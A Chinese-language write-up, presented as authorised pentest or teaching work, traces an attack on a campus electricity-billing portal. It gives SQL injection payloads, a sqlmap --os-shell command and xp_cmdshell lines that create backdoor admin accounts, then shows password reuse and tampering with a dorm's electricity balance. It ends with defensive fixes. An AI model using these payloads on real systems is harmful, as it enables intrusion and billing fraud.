警示:本文記錄授權滲透測試/教學實驗過程,嚴禁未經書面授權對任何系統進行滲透測試。違反《網絡安全法》第 27 條、第 28 條將承擔刑事責任。
目標系統概況
- 校園電費查詢門戶,ASPX 技術棧,MSSQL 後端。
- 預設帳號 `guest/guest`,登入後輸入宿舍號查詢餘額。
階段一:發現注入點
- 登入框測試:`guest' + 't` → 密碼錯誤 → 字串拼接注入確認。
- 時間盲注驗證:`guest'; IF SYSTEM_USER='sa' WAITFOR DELAY '0:0:5'--` → 延遲 5 秒 → SA 權限確認。
- 丟入 sqlmap 自動化:
sqlmap.py -r request.txt -p TextBox1 --dbs --os-shell
獲取資料庫列表、SA 雜湊(未破解)、嘗試 `xp_cmdshell` 啟用。
階段二:提權與持久化
利用 SA 權限執行預存程序新增系統管理員帳號:
;exec master.dbo.sp_addlogin vgy95$,V_gy95;--
;exec master.dbo.sp_addsrvrolemember vgy95,sysadmin;--
;exec master..xp_cmdshell "net user vgy95$ V_gy95 /add";--
;exec master..xp_cmdshell "net localgroup administrators vgy95$ /add";--
成功獲取 MSSQL SA 權限與 Windows 本地 Administrators 群組帳號,可遠端桌面 (RDP) 登入伺服器。
階段三:定位電費資料表與業務邏輯逆向
- 資料庫 `ElecCtlData` → 表 `Pos` 存儲電費,欄位 `ElecLeft` 為餘額(單位:分,即實際度數 × 100)。
- 宿舍對應關係:`Dorm_Room_Info` 表 `ID=598` 對應 `Pos.ID=598`。
- 前端查詢邏輯逆向(反編譯 DLL / Reflector):
SELECT ..., CAST(p.ElecLeft/100.0 AS DECIMAL(20,2)) AS '剩餘電量(度)' ...
發現餘額存儲為「分」單位,前端除以 100 顯示。
階段四:修改資料遭遇事務回滾
直接執行 `UPDATE Pos SET ElecLeft=66666 WHERE ID=598` → 顯示成功,但查詢仍為原值。
啟用 SQL Server Profiler 追蹤 → 發現外部通訊程式持續寫入資料庫 → 隱性事務導致手動 UPDATE 被回滾。
階段五:橫向移動至伺服器桌面修改
- 嘗試 RDP 登入 `Administrator`,密碼未知。
- 翻閱網站 `web.config` 發現 SA 連線字串密碼 `mjmic****123` → 嘗試作為 Administrator 密碼 → 成功登入(密碼重用風險)。
- 桌面發現「電費管理系統」客戶端捷徑 → 以 Administrator 身分執行 → 介面提供充值/修改功能 → 成功修改宿舍 598 電費餘額。
- 驗證:網頁查詢顯示修改後數值,全校宿舍/路燈電費管理權限到手。
關鍵截圖(原文保留)

藍隊防禦建議(根因修補)
- 參數化查詢/預存程序:徹底消除 SQL 注入根因。
- 最小權限原則:Web 應用資料庫帳號僅授予 `SELECT/INSERT/UPDATE` 特定表權限,嚴禁 SA/DBO/Admin。
- 停用危險預存程序:`xp_cmdshell`、`sp_OA*`、`sp_addlogin` 等,或以簽名存儲程序替代。
- 密碼策略:SA/Administrator/服務帳號強制獨立複雜密碼,定期輪換,禁止重用。
- 應用層業務驗證:電費修改需雙人審核/操作日誌/異常餘額變動告警。
- 資料庫審計:啟用 SQL Server Audit 記錄所有 DML/DDL/登入失敗,轉發至 SIEM。
- 網路隔離:資料庫伺服器僅允許應用伺服器 IP 存取,禁止直接對外/內網 RDP。
此案例展示了「Web 注入 → 資料庫提權 → 作業系統落地 → 業務邏輯逆向 → 事務回滾阻礙 → 橫向移動客戶端修改」的完整攻擊鏈。每一環若有任一防禦措施到位,攻擊鏈即可斷裂。纵深防禦,非單一點防護所能達成。